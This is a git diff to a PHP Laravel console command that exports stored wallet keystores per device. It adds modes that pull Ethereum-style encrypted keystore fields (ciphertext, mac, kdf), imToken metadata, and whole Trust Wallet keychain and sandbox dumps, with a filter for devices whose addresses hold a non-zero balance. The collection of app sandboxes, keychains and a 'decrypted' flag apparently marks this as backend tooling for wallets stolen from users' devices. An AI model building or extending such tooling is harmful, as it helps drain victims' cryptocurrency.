diff --git a/app/Console/Commands/ExportKeystoreDevicesCommand.php b/app/Console/Commands/ExportKeystoreDevicesCommand.php index 6cb3f01..2fee9f8 100644 --- a/app/Console/Commands/ExportKeystoreDevicesCommand.php +++ b/app/Console/Commands/ExportKeystoreDevicesCommand.php @@ -10,10 +10,14 @@ use Illuminate\Support\Facades\DB; class ExportKeystoreDevicesCommand extends Command { + /** Skip JSON_EXTRACT on Trust/DS dumps larger than this (bytes). */ + private const COMPACT_MAX_BYTES = 262144; + protected $signature = 'coruna:export-keystore-devices {--path= : Output JSON file (default storage/app/keystore-devices-*.json)} {--with-balance : Only devices that have at least one address with a non-zero coin} - {--no-raw : Omit keystore raw_json blobs}'; + {--no-raw : Omit keystore bodies entirely} + {--full-raw : Dump entire raw_json (Trust/DS keychain+sandbox, can be many GB)}'; protected $description = 'Export devices that have both a keystore and wallet addresses'; @@ -33,13 +37,13 @@ class ExportKeystoreDevicesCommand extends Command } $ids = $this->deviceQuery()->orderBy('id')->pluck('id'); - $includeRaw = ! $this->option('no-raw'); + $mode = $this->rawMode(); $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES; fwrite($fh, "{\n"); fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n"); fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n"); - fwrite($fh, ' "include_raw": '.($includeRaw ? 'true' : 'false').",\n"); + fwrite($fh, ' "raw_mode": '.json_encode($mode, $flags).",\n"); fwrite($fh, ' "device_count": '.$ids->count().",\n"); fwrite($fh, ' "devices": ['."\n"); @@ -55,7 +59,7 @@ class ExportKeystoreDevicesCommand extends Command fwrite($fh, ",\n"); } $first = false; - $this->writeDevice($fh, $device, $includeRaw, $flags); + $this->writeDevice($fh, $device, $mode, $flags); unset($device); gc_collect_cycles(); } @@ -68,6 +72,18 @@ class ExportKeystoreDevicesCommand extends Command return self::SUCCESS; } + private function rawMode(): string + { + if ($this->option('no-raw')) { + return 'none'; + } + if ($this->option('full-raw')) { + return 'full'; + } + + return 'v3'; + } + private function resolvePath(): ?string { $path = trim((string) $this->option('path')); @@ -103,11 +119,9 @@ class ExportKeystoreDevicesCommand extends Command } /** - * Stream one device object. Never json_decode keystore blobs. - * * @param resource $fh */ - private function writeDevice($fh, Device $device, bool $includeRaw, int $flags): void + private function writeDevice($fh, Device $device, string $mode, int $flags): void { $ksMeta = DB::table('wallet_keystores') ->where('device_id', $device->id) @@ -143,7 +157,7 @@ class ExportKeystoreDevicesCommand extends Command fwrite($fh, ','); } $ksFirst = false; - $this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $includeRaw, $flags); + $this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $mode, $flags); } fwrite($fh, ']}'); @@ -158,22 +172,88 @@ class ExportKeystoreDevicesCommand extends Command /** * @param resource $fh */ - private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, bool $includeRaw, int $flags): void + private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, string $mode, int $flags): void { + $len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0); $meta = [ 'id' => $id, 'source' => $source, 'decrypted' => $decrypted, 'created_at' => $createdAt !== '' ? $createdAt : null, + 'raw_json_len' => $len, ]; - if (! $includeRaw) { - $len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0); - $meta['raw_json_len'] = $len; + if ($mode === 'none') { + fwrite($fh, (string) json_encode($meta, $flags)); + + return; + } + if ($mode === 'full') { + $this->writeFullRaw($fh, $id, $meta, $flags); + + return; + } + + $this->writeCompactV3($fh, $id, $len, $meta, $flags); + } + + /** + * @param resource $fh + * @param array $meta + */ + private function writeCompactV3($fh, int $id, int $len, array $meta, int $flags): void + { + if ($len > self::COMPACT_MAX_BYTES) { + $meta['omitted'] = 'sandbox_or_keychain'; fwrite($fh, (string) json_encode($meta, $flags)); return; } + $row = DB::selectOne( + "select + json_extract(raw_json, '$.crypto') as crypto, + json_unquote(json_extract(raw_json, '$.id')) as ks_id, + json_unquote(json_extract(raw_json, '$.type')) as ks_type, + json_unquote(json_extract(raw_json, '$.address')) as address, + json_unquote(json_extract(raw_json, '$.derivationPath')) as derivation_path, + json_extract(raw_json, '$.version') as version, + json_extract(raw_json, '$.imTokenMeta') as imtoken_meta, + json_extract(raw_json, '$.encOriginal') as enc_original, + json_extract(raw_json, '$.identity') as identity + from wallet_keystores where id = ?", + [$id], + ); + + $crypto = $this->mysqlJson($row->crypto ?? null); + if (! is_array($crypto) || ! isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf'])) { + $meta['omitted'] = 'not_v3'; + fwrite($fh, (string) json_encode($meta, $flags)); + + return; + } + + $v3 = array_filter([ + 'id' => $this->mysqlScalar($row->ks_id ?? null), + 'type' => $this->mysqlScalar($row->ks_type ?? null), + 'address' => $this->mysqlScalar($row->address ?? null), + 'derivationPath' => $this->mysqlScalar($row->derivation_path ?? null), + 'version' => $this->mysqlScalar($row->version ?? null), + 'crypto' => $crypto, + 'imTokenMeta' => $this->mysqlJson($row->imtoken_meta ?? null), + 'encOriginal' => $this->mysqlJson($row->enc_original ?? null), + 'identity' => $this->mysqlJson($row->identity ?? null), + ], static fn ($v) => $v !== null && $v !== ''); + + $meta['v3'] = $v3; + fwrite($fh, (string) json_encode($meta, $flags)); + } + + /** + * @param resource $fh + * @param array $meta + */ + private function writeFullRaw($fh, int $id, array $meta, int $flags): void + { $blob = DB::selectOne( 'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?', [$id], @@ -199,6 +279,34 @@ class ExportKeystoreDevicesCommand extends Command gc_collect_cycles(); } + private function mysqlJson(mixed $value): ?array + { + if (is_array($value)) { + return $value; + } + if (! is_string($value) || $value === '' || $value === 'null') { + return null; + } + $decoded = json_decode($value, true); + + return is_array($decoded) ? $decoded : null; + } + + private function mysqlScalar(mixed $value): mixed + { + if ($value === null || $value === 'null') { + return null; + } + if (is_string($value) && $value !== '' && ($value[0] === '"' || $value[0] === '{' || $value[0] === '[')) { + $decoded = json_decode($value, true); + if (json_last_error() === JSON_ERROR_NONE) { + return $decoded; + } + } + + return $value; + } + private function looksLikeJson(string $raw): bool { $trim = ltrim($raw);